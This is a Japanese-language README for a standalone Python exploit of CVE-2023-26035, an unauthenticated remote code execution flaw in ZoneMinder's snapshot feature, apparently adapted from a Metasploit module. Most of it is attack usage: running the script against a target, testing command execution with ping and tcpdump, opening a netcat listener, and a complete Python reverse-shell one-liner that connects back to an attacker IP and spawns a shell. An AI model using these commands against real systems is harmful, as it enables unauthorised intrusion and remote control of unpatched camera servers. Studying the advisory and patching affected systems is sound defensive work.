
CVE-2023-26035 のエクスプロイトで、ZoneMinder < 1.36.33 および < 1.37.33 に影響を与えます。
ZoneMinder スナップショットに影響する 認証なしリモートコード実行 (RCE) があります。
これは CVE-2023-26035 のエクスプロイトです。
ZoneMinder 1.36.33 未満 および
ZoneMinder 1.37.33 未満。

python3 zoneminder.py http://target
python3 zoneminder.py http://target command
ping を使ったコマンド実行テストターゲットに接続されたインターフェース (ここでは tun0) で tcpdump を実行し、ICMP パケットをフィルタリング:
sudo tcpdump -i tun0 icmp
次に、自分のIPにpingを実行します。引用符 " を使用しないと正しく解釈されないので注意してください。
python3 zoneminder.py http://target "ping -C 4 your_ip"
netcat でリスナーを作成:
nc -lvnp 1337
リバースシェルのワンライナーを使用:
python3 zoneminder.py http://TARGET "python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"YOUR_IP\",1337));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'"
詳細は https://revshells.com を参照。
このエクスプロイトは requests と BeautifulSoup を使用します。以下のコマンドでインストール:
python3 -m pip install requests beautifulsoup4
私は Metasploit を必要としないスタンドアロンのエクスプロイトが欲しかっただけです。
このスクリプトは https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/unix/webapp/zoneminder_snapshots.rb から派生しています。
https://github.com/ZoneMinder/zoneminder/security/advisories/GHSA-72rg-h4vf-29gr